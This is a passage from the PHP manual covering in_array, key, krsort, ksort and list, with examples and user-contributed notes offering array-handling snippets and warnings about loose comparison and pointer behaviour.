echo my_inArray($needle, $haystack); # outputs "true"
?>

Unfortunately, fnmatch() is not available on Windows or other non-POSIX compliant systems.

Cheers,
Thomas
rick at fawo dot nl 08-Apr-2006 08:23
Here's another deep_in_array function, but this one has a case-insensitive option :)
<?
function deep_in_array($value, $array, $case_insensitive = false){
    foreach($array as $item){
        if(is_array($item)) $ret = deep_in_array($value, $item, $case_insensitive);
        else $ret = ($case_insensitive) ? strtolower($item)==$value : $item==$value;
        if($ret)return $ret;
    }
    return false;
}
?>
sandrejev at gmail dot com 22-Feb-2006 07:11
Sorry, that deep_in_array() was a bit broken.

<?php
function deep_in_array($value, $array) {
    foreach($array as $item) {
        if(!is_array($item)) {
            if ($item == $value) return true;
            else continue;
        }

        if(in_array($value, $item)) return true;
        else if(deep_in_array($value, $item)) return true;
    }
    return false;
}
?>
kitchin 05-Feb-2006 06:52
Here's a gotcha, and another reason to always use strict with this function.

$x= array('this');
$test= in_array(0, $x);
var_dump($test); // true

$x= array(0);
$test= in_array('that', $x);
var_dump($test); // true

$x= array('0');
$test= in_array('that', $x);
var_dump($test); // false

It's hard to think of a reason to use this function *without* strict.

This is important for validating user input from a set of allowed values, such as from a <select> tag.
13-Jan-2006 09:44
in_arrayr -- Checks if the value is in an array recursively

Description
bool in_array (mixed needle, array haystack)

<?php
function in_arrayr($needle, $haystack) {
        foreach ($haystack as $v) {
                if ($needle == $v) return true;
                elseif (is_array($v)) return in_arrayr($needle, $v);
        }
        return false;
}
// i think it works
?>
adrian foeder 08-Nov-2005 01:21
hope this function may be useful to you, it checks an array recursively (if an array has sub-array-levels) and also the keys, if wanted:

<?php
function rec_in_array($needle, $haystack, $alsokeys=false)
    {
        if(!is_array($haystack)) return false;
        if(in_array($needle, $haystack) || ($alsokeys && in_array($needle, array_keys($haystack)) )) return true;
        else {
            foreach($haystack AS $element) {
                $ret = rec_in_array($needle, $element, $alsokeys);
            }
        }

        return $ret;
    }
?>
tacone at gmx dot net 03-Aug-2005 07:05
Beware of type conversion!

This snippet will unset every 0 key element form the array, when cycling an array which contains at least one _num value.
This is because php tries to convert every element of $forbidden_elements to integer when encountering a numeric index into array.
So $array[0] it's considered equal to (int)'_num'.

<?php
$forbidden_elements=array('_num');
    foreach ($array as $key=>$value){
        if (in_array($key,$forbidden_elements)){
                unset ($array[$key]);
            }
}
?>

The following example works, anway you can use strict comparison as well.

<?php
$forbidden_elements=array('_num');
    foreach ($array as $key=>$value){
        if (in_array($key,$forbidden_elements) && is_string($key)){
                unset ($array[$key]);
            }
}
?>
Aragorn5551 at gmx dot de 11-Jun-2005 05:26
If you have a multidimensional array filled only with Boolean values like me, you need to use 'strict', otherwise in_array() will return an unexpected result.

Example:

<?php
$error_arr = array('error_one' => FALSE, 'error_two' => FALSE, array('error_three' => FALSE, 'error_four' => FALSE));

if (in_array (TRUE, $error_arr)) {
   echo 'An error occurred';
}
else {
   echo 'No error occurred';
}
?>

This will return 'An error occurred' although theres no TRUE value inside the array in any dimension. With 'strict' the function will return the correct result 'No error occurred'.

Hope this helps somebody, cause it took me some time to figure this out.
gordon at kanazawa-gu dot ac dot jp 07-Jan-2003 05:05
case-insensitive version of in_array:

<?php
function is_in_array($str, $array) {
  return preg_grep('/^' . preg_quote($str, '/') . '$/i', $array);
}
?>
pingjuNOSPAM at stud dot NOSPAM dot ntnu dot no 25-Nov-2002 06:56
if the needle is only a part of an element in the haystack, FALSE will be returned, though the difference maybe only a special char like line feeding (\n or \r).
tom at orbittechservices dot com 09-Aug-2002 07:17
I searched the general mailing list and found that in PHP versions before 4.2.0 needle was not allowed to be an array.

Here's how I solved it to check if a value is in_array to avoid duplicates;

<?php
$myArray = array(array('p', 'h'), array('p', 'r'));

$newValue = "q";
$newInsert = array('p','q');

$itBeInThere = 0;
foreach ($myArray as $currentValue) {
  if (in_array ($newValue, $currentValue)) {
    $itBeInThere = 1;
  }
if ($itBeInThere != 1) {
  array_unshift ($myArray, $newInsert);
}
?>
one at groobo dot com 07-May-2002 03:14
Sometimes, you might want to search values in array, that does not exist. In this case php will display nasty warning:
Wrong datatype for second argument in call to in_array() .

In this case, add a simple statement before the in_array function:

<?php
if (sizeof($arr_to_searchin) == 0 || !in_array($value, $arr_to_searchin)) { /*...*/ }
?>

In this case, the 1st statement will return true, omitting the 2nd one.
jon at gaarsmand dot dk 09-Apr-2002 08:53
If you want to search a multiple array for a value - you can use this function - which looks up the value in any of the arrays dimensions (like in_array() does in the first dimension).
Note that the speed is growing proportional with the size of the array - why in_array is best if you can determine where to look for the value.

Copy & paste this into your code...

<?php
function in_multi_array($needle, $haystack)
{
    $in_multi_array = false;
    if(in_array($needle, $haystack))
    {
        $in_multi_array = true;
    }
    else
    {
        for($i = 0; $i < sizeof($haystack); $i++)
        {
            if(is_array($haystack[$i]))
            {
                if(in_multi_array($needle, $haystack[$i]))
                {
                    $in_multi_array = true;
                    break;
                }
            }
        }
    }
    return $in_multi_array;
}
?>
extract
key
Array Functions


Fetch a key from an array

in_array
krsort
Array Functions
PHP Manual

key

(PHP 4, PHP 5)

key — Fetch a key from an array

Description

mixed key ( array &$array )

key() returns the index element of the current array position.

Parameters

array

The array.

Return Values

The key() function simply returns the key of the array element that's currently being pointed to by the internal pointer. It does not move the pointer in any way. If the internal pointer points beyond the end of the elements list or the array is empty, key() returns NULL.

Examples

Example #1 key() example

<?php
$array = array(
    'fruit1' => 'apple',
    'fruit2' => 'orange',
    'fruit3' => 'grape',
    'fruit4' => 'apple',
    'fruit5' => 'apple');

// this cycle echoes all associative array
// key where value equals "apple"
while ($fruit_name = current($array)) {
    if ($fruit_name == 'apple') {
        echo key($array).'<br />';
    }
    next($array);
}
?>

The above example will output:

fruit1<br />
fruit4<br />
fruit5<br />

See Also

  • current() - Return the current element in an array
  • next() - Advance the internal array pointer of an array

User Contributed Notes

FatBat 17-Oct-2011 12:20
Needed to get the index of the max/highest value in an assoc array.
max() only returned the value, no index, so I did this instead.

<?php
reset($x);   // optional.
arsort($x);
$key_of_max = key($x);   // returns the index.
?>
FokeyJoe 10-Mar-2011 06:10
Just to illustrate the behaviour of the internal pointer when you add items. Adding to an array does not affect the internal pointer.

<?php
$a = array();
var_dump(key($a));  // null
$a[] = "jump";
var_dump(key($a));  // 0
$a[] = "lazy";
var_dump(key($a));  // 0
end($a);
var_dump(key($a));  // 1
$a[] = "fox";
var_dump(key($a));  // 1
?>
Dallas at ekkysoftware dot com 04-Mar-2010 09:32
I had a problem when there are nulls in your data, such as:-

<?php
$row = array(  'first'=>'number', 'second'=>'letter', 'third'=>null, 'forth'=>'word');

while($value = current($row)){
    echo "\"".key($row)."\"";
    next($row);
}
?>

The problem is that current() returns the value 'null', but it isn't the end of the list. To get the correct results I used:-

<?php
foreach($row as $value){
    echo "\"".key($row)."\"";
    next($row);
}
?>
jamon at clearsightdesign dot com 18-Aug-2009 10:24
I wrote a simple, yet powerful function for finding a key in an array relative to another key. This is very useful for finding the next key in an associative array if you know the current key, or any other arbitrary key relative to the current key.

This function does not use a foreach loop. I have not tested it for speed compared to a foreach loop. I would assume it's faster since it uses PHP's built in functions, but I could be wrong. I'd appreciate feedback on this.

- Jamon Holmgren

<?php
    // array_key_relative - Returns a key in an associative array relative to another key without using foreach. Very useful for finding previous key or finding next key in array, etc
    // - Written by Jamon Holmgren (www.jamonholmgren.com). Last revised 8/18/2009. Free for any use.
    // function array_key_relative(array $array, string $current_key, int $offset)
    function array_key_relative($array, $current_key, $offset = 1) {
        // create key map
        $keys = array_keys($array);
        // find current key
        $current_key_index = array_search($current_key, $keys);
        // return desired offset, if in array, or false if not
        if(isset($keys[$current_key_index + $offset])) {
            return $keys[$current_key_index + $offset];
        }
        return false;
    }
?>

Usage example:

<?php
    $test_array = array(
        "apple" => "Red, shiny fruit",
        "orange" => "Orange, dull, juicy fruit",
        "pear" => "Usually green and odd-shaped fruit",
        "banana" => "Long yellow fruit that monkeys like to eat",
        "cantelope" => "Larger than a grapefruit",
        "grapefruit" => "Kind of sour"
    );

    echo array_key_relative($test_array, "apple", 2); // outputs "pear"
    echo array_key_relative($test_array, "orange", -1); // outputs "apple" */

    $next_key = array_key_relative($test_array, "banana", 1); // Get the key after banana (cantelope)
    echo $test_array[$next_key]; // outputs "Larger than a grapefruit"
?>
michael 09-Dec-2008 11:19
Here is an improved version of the KeyName function below. It is simpler and faster, especially on large arrays as it runs in O(1) instead of O(n).

<?php
function KeyName(array $a, $pos) {
    $temp = array_slice($a, $pos, 1, true);
    return key($temp);
}
?>

Also, KeyName($a, -1) will return the last key, etc.
Twey 15-Mar-2008 12:25
As of PHP5, objects are passed by reference by default.
egingell at sisna dot com 02-Dec-2007 03:12
What's the point of lines 14 and 25? $array is destroyed when the function returns. If you want this to work as written, change line 2 to this: (pass $array by reference instead of by value)
<?
function add_key ($value, &$array) // returns the key of the value added or existing already within the array
?>

>    danny at dannymendel dot com
>    12-Apr-2006 09:41
>    An auto incremental key value function, returning the key value:
>
> 1    <?
> 2    function add_key ($value, $array) // returns the key of the value added or existing already within the array
> 3    {
> 4        if (is_array ($array))
> 5        {
> 6            if (!in_array ($value, $array))
> 7            {
> 8                ksort ($array);
> 9
>10                end ($array);
>11
>12                $key = key ($array) + 1;
>13
>14                $array[$key] = $value;
>15            }
>16            else
>17            {
>18                $key = array_search ($value, $array);
>19            }
>20        }
>21        else
>22        {
>23            $key = 1;
>24
>25            $array[$key] = $value;
>26        }
>27        return $key;
>28    }
>29    ?>
yarco dot w at gmail dot com 13-Sep-2007 01:45
Re: br_joris[at]hotmail[doth]com

Do you really mean you want 2 keys point to 1 value?
What you've written seems you want 1 key point to 2 values.

But if you really want 2 keys point to 1 value, you could do the following:

<?php
$buf['key1'] = 'abc';
$buf['key2'] = & $buf['key1'];
?>
danny at dannymendel dot com 12-Apr-2006 08:41
An auto incremental key value function, returning the key value:

<?
function add_key ($value, $array) // returns the key of the value added or existing already within the array
{
    if (is_array ($array))
    {
        if (!in_array ($value, $array))
        {
            ksort ($array);

            end ($array);

            $key = key ($array) + 1;

            $array[$key] = $value;
        }
        else
        {
            $key = array_search ($value, $array);
        }
    }
    else
    {
        $key = 1;

        $array[$key] = $value;
    }
    return $key;
}
?>
php_notes at ionws dot com 10-Oct-2005 04:17
Note that key($array) returns NULL if $array's internal pointer goes past the end of the array.  For example, the following code:

<?php
$arr = array(
    'one' => '1',
    'two' => '2',
    'three' => '3',
    'four' => '4',
    'five' => '5');

for ($i = 0; $i < 10; $i++) {
    var_dump(key($arr));
    next($arr);
}
?>

results in:
string(3) "one"
string(3) "two"
string(5) "three"
string(4) "four"
string(4) "five"
NULL
NULL
NULL
NULL
NULL
Danniel@t h e - police (d'0't) com 22-May-2005 01:55
To get the key name by position from Array:
<?php
$myArray['name1']=3;
$myArray['name2']=2;
$myArray['name3']=1;

echo($myArray[1]);   /* return NULL */
/* isset($myArray[1]) return false;   */
/* is_null($myArray[1]) return true;  */

function KeyName($myArray,$pos) {
   // $pos--;
   /* uncomment the above line if you */
   /* prefer position to start from 1 */

   if ( ($pos < 0) || ( $pos >= count($myArray) ) )
         return "NULL";  // set this any way you like

   reset($myArray);
   for($i = 0;$i < $pos; $i++) next($myArray);

   return key($myArray);
}

echo KeyName($myArray,1);  // result: name2
echo KeyName($myArray,2);  // result: name3
echo KeyName($myArray,3);  // result: "NULL"
?>

You can get any existing "key name" from array that is located at position $pos gived as second parameter. If no element is defined at given position the function will return the string "NULL".
Danniel@t h e - police (d'0't) com 22-May-2005 01:55
To get the key name by position from Array:
<?php
$myArray['name1']=3;
$myArray['name2']=2;
$myArray['name3']=1;

echo($myArray[1]);   /* return NULL */
/* isset($myArray[1]) return false;   */
/* is_null($myArray[1]) return true;  */

function KeyName($myArray,$pos) {
   // $pos--;
   /* uncomment the above line if you */
   /* prefer position to start from 1 */

   if ( ($pos < 0) || ( $pos >= count($myArray) ) )
         return "NULL";  // set this any way you like

   reset($myArray);
   for($i = 0;$i < $pos; $i++) next($myArray);

   return key($myArray);
}

echo KeyName($myArray,1);  // result: name2
echo KeyName($myArray,2);  // result: name3
echo KeyName($myArray,3);  // result: "NULL"
?>

You can get any existing "key name" from array that is located at position $pos gived as second parameter. If no element is defined at given position the function will return the string "NULL".
happy dot machine at skynet dot be 06-May-2003 11:20
<?php
$tab = array();
$tab[0] = 'php';
$tab[1] = '.';
$tab[2] = 'net';

// you will not enter the while
// $key = 0, while will consider $key as false
reset($tab);
while ($key = key($tab) ) {
echo $tab[$key];
next($tab);
}

// this will
reset($tab);
while (!is_null($key = key($tab) ) ) {
echo $tab[$key];
next($tab);
}

// when key() can't return a 'key', it return NULL
echo var_dump($key);
?>
kajetan at kajetan dot nu 04-Jul-2002 01:20
I'm writing a forum and use an array to hold all the smiles. The keys in the array are the characters to write to get a smiley, and the data is the filename, like this
$Smiles[':-)'] = 'smile.gif'

To output all the smileys in a table with 3 columns, I wrote this code:

<?php
$the_end = false;

$s = reset($Smiles);
$k = key($Smiles);

while(!$the_end){
    echo '<tr>';
    for($i=0; $i<3; $i++){
        echo '<td>';
        if($the_end) echo '&nbsp;';
        else{
        echo $k.'< br><img src="'. $s .'">';
          $s = next($Smiles);
        if ($s==false) $the_end=true;
        else
            $k = key($Smiles);
        }
        echo "</td>\n";
    }
    echo "</tr>\n";
}
?>

I had to write a space in the < br> tag in the code above, because the board did a line brake otherwise.
mkeller at gmx dot de 11-Oct-2001 12:46
In the case key() does not give you back the key(myarray) but "0", try this:
(Try this example without the line containing "end($myarray)" and you see my reason for this post...)

<?php
for($i = 0; $i <= 10; $i++) {
        $myarray[] = 'content '.$i;
        end($myarray);
        echo ('<br>key()='.key($myarray).' , content='.$myarray[$i]);
    }
?>
php at snr-graphics dot com 23-Mar-2001 11:50
A Method of Multi-Dimensionalizing an Associative Array (This idea was designed with Graphics (image filenames in mind):

(A quick overview):
While working on a rather large web application, I found that I needed a way to obtain "all" the details on images used by the application, these images (by filename) were stored in the configuration file, in the form of associative arrays.

The following represents an example of how I tool those and converted them into multi-dimensional associative arrays.

<?php
do {
  $size = getImageSize($path.$myarray[key($myarray)]);
  if ($size[2] == '1') { $size[2] = 'gif'; }
  else if ($size[2] == '2') { $size[2] = 'jpg'; }
  else if ($size[2] == '3') { $size[2] = 'png'; }
  else if ($size[2] == '4') { $size[2] = 'swf'; }
  else { $size[2] = 'UNKNOWN'; }
$myarray[key($myarray)] = Array($myarray[Key($myarray)],$size[0],$size[1],$size[2],$size[3]);
} while (next($myarray));
?>

The end result is an multi-dim. associative array which contains the values:

<?php
$myarray["this"][0] = # filename.gif
$myarray["this"][1] = # width
$myarray["this"][2] = # height
$myarray["this"][3] = # type (converted to the file extension.)
$myarray["this"][4] = # height=x width=x
?>

This may not be all that impressive to some, but it turned out to be very useful for me, so I thought I'd share, in addition, I think it gives a "very" good example of "a use" for the Key() function.

Frankly, I was quite happy to discover this function, I can't count the number of times I "needed to use the key as a value".

I hope you find this code useful.
in_array
krsort
Array Functions


Sort an array by key in reverse order

key
ksort
Array Functions
PHP Manual

krsort

(PHP 4, PHP 5)

krsort — Sort an array by key in reverse order

Description

bool krsort ( array &$array [, int $sort_flags = SORT_REGULAR ] )

Sorts an array by key in reverse order, maintaining key to data correlations. This is useful mainly for associative arrays.

Parameters

array

The input array.

sort_flags

You may modify the behavior of the sort using the optional parameter sort_flags, for details see sort().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 krsort() example

<?php
$fruits = array("d"=>"lemon", "a"=>"orange", "b"=>"banana", "c"=>"apple");
krsort($fruits);
foreach ($fruits as $key => $val) {
    echo "$key = $val\n";
}
?>

The above example will output:

d = lemon
c = apple
b = banana
a = orange

See Also

  • arsort() - Sort an array in reverse order and maintain index association
  • ksort() - Sort an array by key
  • The comparison of array sorting functions

User Contributed Notes

07-Aug-2005 06:37
To create a natural reverse sorting by keys, use the following function:

<?php
function natkrsort($array)
{
    $keys = array_keys($array);
    natsort($keys);

    foreach ($keys as $k)
    {
        $new_array[$k] = $array[$k];
    }

    $new_array = array_reverse($new_array, true);

    return $new_array;
}
?>
peter at pmkmedia dot com 07-Nov-2003 01:51
Best deal sorting:

This is a function that will sort an array with integer keys (weight) and float values (cost) and delete 'bad deals' - entries that are more costly than other entries that have greater or equal weight.

Input: an array of unsorted weight/cost pairs
Output: none

function BEST_DEALS($myarray)
{   // most weight for least cost:
    // © Peter Kionga-Kamau, http://www.pmkmedia.com
    // thanks to Nafeh for the reversal trick
    // free for unrestricted use.
    krsort($myarray, SORT_NUMERIC);
    while(list($weight, $cost) = each($myarray))
    {   // delete bad deals, retain best deals:
        if(!$lastweight)
        {
            $lastweight=$weight;
            $lastcost = $cost;
        }
        else if($cost >= $lastcost) unset($myarray[$weight]);
        else
        {
            $lastweight=$weight;
            $lastcost = $cost;
        }
    }
    ksort($myarray);
}
lolo at phpheaven dot net 28-Nov-2000 12:33
If you want to emulate the krsort function for an older version of php, you can use this piece of code:

function KeyComp($a, $b)
{
  return -(strcmp($a,$b));
}

function krsort($MyArray)
{
  uksort($MyArray, "KeyComp");
}

Maybe obvious and useless, but who knows...
key
ksort
Array Functions


Sort an array by key

krsort
list
Array Functions
PHP Manual

ksort

(PHP 4, PHP 5)

ksort — Sort an array by key

Description

bool ksort ( array &$array [, int $sort_flags = SORT_REGULAR ] )

Sorts an array by key, maintaining key to data correlations. This is useful mainly for associative arrays.

Parameters

array

The input array.

sort_flags

You may modify the behavior of the sort using the optional parameter sort_flags, for details see sort().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 ksort() example

<?php
$fruits = array("d"=>"lemon", "a"=>"orange", "b"=>"banana", "c"=>"apple");
ksort($fruits);
foreach ($fruits as $key => $val) {
    echo "$key = $val\n";
}
?>

The above example will output:

a = orange
b = banana
c = apple
d = lemon

See Also

  • asort() - Sort an array and maintain index association
  • The comparison of array sorting functions

User Contributed Notes

Haprog 15-Aug-2011 05:50
Here is a function to recursively sort multidimentional arrays by key:

<?php
function deep_ksort(&$arr) {
    ksort($arr);
    foreach ($arr as &$a) {
        if (is_array($a) && !empty($a)) {
            deep_ksort($a);
        }
    }
}
?>
jakub dot lopuszanski at nasza-klasa dot pl 14-Apr-2011 08:48
Note that ksort will NOT help you much if numeric and string keys are mixed together.
<?php
$t = array(
  "a"=>"A",
  0=>"A",
  "b"=>"A",
  1=>"A"
);
var_dump($t);
ksort($t);
var_dump($t);
?>

produces (on PHP 5.3.6-4 with Suhosin-Patch) :

array(4) {
  ["a"]=>
  string(1) "A"
  [0]=>
  string(1) "A"
  ["b"]=>
  string(1) "A"
  [1]=>
  string(1) "A"
}

array(4) {
  ["b"]=>
  string(1) "A"
  [0]=>
  string(1) "A"
  ["a"]=>
  string(1) "A"
  [1]=>
  string(1) "A"
}

note that the second array should be sorted by keys, but is even more messed up than the first one!
DavidG 17-Jun-2010 06:47
A nice way to do sorting of a key on a multi-dimensional array without having to know what keys you have in the array first:

<?php
$people = array(
array("name"=>"Bob","age"=>8,"colour"=>"red"),
array("name"=>"Greg","age"=>12,"colour"=>"blue"),
array("name"=>"Andy","age"=>5,"colour"=>"purple"));

var_dump($people);

$sortArray = array();

foreach($people as $person){
    foreach($person as $key=>$value){
        if(!isset($sortArray[$key])){
            $sortArray[$key] = array();
        }
        $sortArray[$key][] = $value;
    }
}

$orderby = "name"; //change this to whatever key you want from the array

array_multisort($sortArray[$orderby],SORT_DESC,$people);

var_dump($people);
?>

Output from first var_dump:

[0]=&gt;
  array(3) {
    ["name"]=&gt;
    string(3) "Bob"
    ["age"]=&gt;
    int(8)
    ["colour"]=&gt;
    string(3) "red"
  }
  [1]=&gt;
  array(3) {
    ["name"]=&gt;

    string(4) "Greg"
    ["age"]=&gt;
    int(12)
    ["colour"]=&gt;
    string(4) "blue"
  }
  [2]=&gt;
  array(3) {
    ["name"]=&gt;
    string(4) "Andy"
    ["age"]=&gt;
    int(5)
    ["colour"]=&gt;

    string(6) "purple"
  }
}

Output from 2nd var_dump:

array(3) {
  [0]=&gt;
  array(3) {
    ["name"]=&gt;
    string(4) "Greg"
    ["age"]=&gt;
    int(12)
    ["colour"]=&gt;
    string(4) "blue"
  }
  [1]=&gt;
  array(3) {
    ["name"]=&gt;

    string(3) "Bob"
    ["age"]=&gt;
    int(8)
    ["colour"]=&gt;
    string(3) "red"
  }
  [2]=&gt;
  array(3) {
    ["name"]=&gt;
    string(4) "Andy"
    ["age"]=&gt;
    int(5)
    ["colour"]=&gt;

    string(6) "purple"
  }

There's no checking on whether your array keys exist, or the array data you are searching on is actually there, but easy enough to add.
serpro at gmail dot com 13-Mar-2009 02:02
Here is a function to sort an array by the key of his sub-array.

<?php

function sksort(&$array, $subkey="id", $sort_ascending=false) {

    if (count($array))
        $temp_array[key($array)] = array_shift($array);

    foreach($array as $key => $val){
        $offset = 0;
        $found = false;
        foreach($temp_array as $tmp_key => $tmp_val)
        {
            if(!$found and strtolower($val[$subkey]) > strtolower($tmp_val[$subkey]))
            {
                $temp_array = array_merge(    (array)array_slice($temp_array,0,$offset),
                                            array($key => $val),
                                            array_slice($temp_array,$offset)
                                          );
                $found = true;
            }
            $offset++;
        }
        if(!$found) $temp_array = array_merge($temp_array, array($key => $val));
    }

    if ($sort_ascending) $array = array_reverse($temp_array);

    else $array = $temp_array;
}

?>

Example
<?php
$info = array("peter" => array("age" => 21,
                                           "gender" => "male"
                                           ),
                   "john"  => array("age" => 19,
                                           "gender" => "male"
                                           ),
                   "mary" => array("age" => 20,
                                           "gender" => "female"
                                          )
                  );

sksort($info, "age");
var_dump($info);

sksort($info, "age", true);
var_dump($ifno);
?>

This will be the output of the example:

/*DESCENDING SORT*/
array(3) {
  ["peter"]=>
  array(2) {
    ["age"]=>
    int(21)
    ["gender"]=>
    string(4) "male"
  }
  ["mary"]=>
  array(2) {
    ["age"]=>
    int(20)
    ["gender"]=>
    string(6) "female"
  }
  ["john"]=>
  array(2) {
    ["age"]=>
    int(19)
    ["gender"]=>
    string(4) "male"
  }
}

/*ASCENDING SORT*/
array(3) {
  ["john"]=>
  array(2) {
    ["age"]=>
    int(19)
    ["gender"]=>
    string(4) "male"
  }
  ["mary"]=>
  array(2) {
    ["age"]=>
    int(20)
    ["gender"]=>
    string(6) "female"
  }
  ["peter"]=>
  array(2) {
    ["age"]=>
    int(21)
    ["gender"]=>
    string(4) "male"
  }
}
maik dot riechert at animey dot net 12-Aug-2008 11:32
Be careful when using ksort for mixed type keys!!

$a = array(
    'first' => true,
    0       => 'sally',
);

$b = array(
    0       => 'sally',
    'first' => true,
);

ksort($a);
ksort($b);
var_dump($a);
var_dump($b);

Output is:
array(
    0 => 'sally',
    'first' => true,
)

array(
    'first' => true,
    0 => 'sally',
)

If you want same results for both arrays, use:

ksort($a, SORT_STRING);

The reason for that lays in the compare mechanism which would normally just typecast 'first' to an integer or 0 to a string when comparing it to each other. So you have to use SORT_STRING, otherwise you would lose information when 'first' is converted to int.
05-Nov-2006 05:26
Why not just use built-in PHP functions? You can do an in-place natural sort by keys with:

uksort($array, 'strnatcasecmp');
richard dot quadling at bandvulc dot co dot uk 24-Oct-2005 01:10
Just to complete the comments made by ssb45.

If the supplied array is an empty array, the value returned is NOT an array.

All that is required is to pre-initialize the result.

function natksort(&$aToBeSorted)
    {
    $aResult = array();
    $aKeys = array_keys($aToBeSorted);
    natcasesort($aKeys);
    foreach ($aKeys as $sKey)
        {
        $aResult[$sKey] = $aToBeSorted[$sKey];
        }
    $aToBeSorted = $aResult;
    return True;
    }
ssb45 at cornell dot edu 30-Jun-2005 04:58
The function that justin at booleangate dot org provides works well, but be aware that it is not a drop-in replacement for ksort as is.  While ksort sorts the array by reference and returns a status boolean, natksort returns the sorted array, leaving the original untouched.  Thus, you must use this syntax:

$array = natksort($array);

If you want to use the more natural syntax:

$status = natksort($array);

Then use this modified version:

function natksort(&$array) {
    $keys = array_keys($array);
    natcasesort($keys);

    foreach ($keys as $k) {
        $new_array[$k] = $array[$k];
    }

    $array = $new_array;
    return true;
}
justin at booleangate dot org 18-Jan-2005 01:04
Here's a handy function for natural order sorting on keys.

function natksort($array) {
  // Like ksort but uses natural sort instead
  $keys = array_keys($array);
  natsort($keys);

  foreach ($keys as $k)
    $new_array[$k] = $array[$k];

  return $new_array;
}
yaroukh at email dot cz 06-May-2004 08:08
I believe documentation should mention which of array-functions do reset the internal pointer; this one does so ...
pedromartinez at alquimiapaginas dot com 28-Nov-2003 07:58
A list of directories can be listed sorted by date (newer first) with this script. This is usefull if the directories contain (for example) pictures and you want the newer to appear first.

$maindir = "." ;
$mydir = opendir($maindir) ;

// SORT
$directorios = array();
while (false !== ($fn = readdir($mydir)))
{
    if (is_dir($fn) && $fn != "." && $fn != "..")
    {
        $directory = getcwd()."/$fn";
        $key = date("Y\-m\-d\-His ", filectime($directory));
        $directorios[$key] = $directory;
    }
}

ksort($directorios);
$cronosdir = array();
$cronosdir = array_reverse($directorios);

while (list($key, $directory) = each($cronosdir)) {
    echo "$key = $directory<bR>";
}

Pedro
09-Mar-2002 07:09
here 2 functions to ksort/uksort an array and all its member arrays

function tksort(&$array)
  {
  ksort($array);
  foreach(array_keys($array) as $k)
    {
    if(gettype($array[$k])=="array")
      {
      tksort($array[$k]);
      }
    }
  }

function utksort(&$array, $function)
  {
  uksort($array, $function);
  foreach(array_keys($array) as $k)
    {
    if(gettype($array[$k])=="array")
      {
      utksort($array[$k], $function);
      }
    }
  }
delvach at mail dot com 06-Nov-2001 01:29
A real quick way to do a case-insensitive sort of an array keyed by strings:

uksort($myArray, "strnatcasecmp");
sbarnum at mac dot com 19-Oct-2001 03:54
ksort on an array with negative integers as keys yields some odd results.  Not sure if this is a bad idea (negative key values) or what.
krsort
list
Array Functions


Assign variables as if they were an array

ksort
natcasesort
Array Functions
PHP Manual

list

(PHP 4, PHP 5)

list — Assign variables as if they were an array

Description

array list ( mixed $varname [, mixed $... ] )

Like array(), this is not really a function, but a language construct. list() is used to assign a list of variables in one operation.

Parameters

varname

A variable.

Return Values

Returns the assigned array.

Examples

Example #1 list() examples

<?php

$info = array('coffee', 'brown', 'caffeine');

// Listing all the variables
list($drink, $color, $power) = $info;
echo "$drink is $color and $power makes it special.\n";

// Listing some of them
list($drink, , $power) = $info;
echo "$drink has $power.\n";

// Or let's skip to only the third one
list( , , $power) = $info;
echo "I need $power!\n";

// list() doesn't work with strings
list($bar) = "abcde";
var_dump($bar); // NULL
?>

Example #2 An example use of list()

<table>
 <tr>
  <th>Employee name</th>
  <th>Salary</th>
 </tr>

<?php

$result = mysql_query("SELECT id, name, salary FROM employees", $conn);
while (list($id, $name, $salary) = mysql_fetch_row($result)) {
    echo " <tr>\n" .
          "  <td><a href=\"info.php?id=$id\">$name</a></td>\n" .
          "  <td>$salary</td>\n" .
          " </tr>\n";
}

?>

</table>

Example #3 Using nested list()

<?php

list($a, list($b, $c)) = array(1, array(2, 3));

var_dump($a, $b, $c);

?>
int(1)
int(2)
int(3)

Example #4 Using list() with array indices

<?php

$info = array('coffee', 'brown', 'caffeine');

list($a[0], $a[1], $a[2]) = $info;

var_dump($a);

?>

Gives the following output (note the order of the elements compared in which order they were written in the list() syntax):

array(3) {
  [2]=>
  string(8) "caffeine"
  [1]=>
  string(5) "brown"
  [0]=>
  string(6) "coffee"
}

Notes

Warning

list() assigns the values starting with the right-most parameter. If you are using plain variables, you don't have to worry about this. But if you are using arrays with indices you usually expect the order of the indices in the array the same you wrote in the list() from left to right; which it isn't. It's assigned in the reverse order.

Warning

Modification of the array during list() execution (e.g. using list($a, $b) = $b) results in undefined behavior.

Note:

list() only works on numerical arrays and assumes the numerical indices start at 0.

See Also

  • each() - Return the current key and value pair from an array and advance the array cursor
  • array() - Create an array
  • extract() - Import variables into the current symbol table from an array

User Contributed Notes

dan dot lugg at gmail dot com 14-Jan-2012 05:43
Although the warning claims of undefined behaviour, it's reasonably straightforward what happens.

<?php
    $a = array(1, 2, 3);
    list($a, $b, $c) = $a;
    var_dump($a, $b, $c);
    // int(1)
    // int(2)
    // int(3)
?>

Since list() works from right to left on the target variables, $a is replaced last, thus keeping the remaining array element values around long enough to populate $b and $c.

<?php
    $a = array(1, 2, 3);
    list($c, $b, $a) = $a;
    var_dump($a, $b, $c);
    // int(3)
    // NULL
    // NULL
?>

$a is populated first (remember, right to left) with the value 3 from itself. Since $a is no longer an array, list() is forced to substitute NULL values for $b and $c.

This appears to be perfectly sensible, though there may be edge cases and other strange behaviour I'm unaware of.
Ultimater at gmail dot com 08-May-2011 03:37
Note that list(...) isn't limited to scalar variables.
It can even create an associative array:

<?php
$html=<<<EOT
<table>
<tr class="row-odd">
<td><span class="username">Foo</span></td>
<td><span class="userid">30185</span></td>
</tr><tr class="row-even">
<td><span class="username">Bar</span></td>
<td><span class="userid">3093</span></td>
</tr>
</table>
EOT;

interface RegExps
{
    const PROFILE_CONTENT='/<tr[^>]*>.*?<span class="username">(.*?)<\/span>[
        ]?.*?<span class="userid">(.*?)<\/span>.*?<\/tr>/msi';
}

preg_match_all(RegExps::PROFILE_CONTENT,$html, $matches,PREG_SET_ORDER);
$profiles=array();
foreach($matches as $match)
{
    $profile=array();
    list(,$profile['username'],$profile['userid'])=$match;
    //$profile=array_reverse($profile);
    $profiles[]=$profile;
}
echo '<pre>'.print_r($profiles,true).'</pre>';
?>

Just be careful, as the manual warns us, regarding the right-most parameter being handled first.
If this becomes a problem, I'd suggest using array_reverse as shown in my code.
boukeversteegh at gmail dot com 06-Apr-2011 12:49
If your array is shorter than the number of arguments in list(), you will get an "undefined index" notice.

You can solve it by making sure the array is long enough:

<?php
   $array = Array( "one", "two" );

   # This will give a Notice: undefined index [2]:
   list( $one, $two, $three ) = $array;

   # This won't:
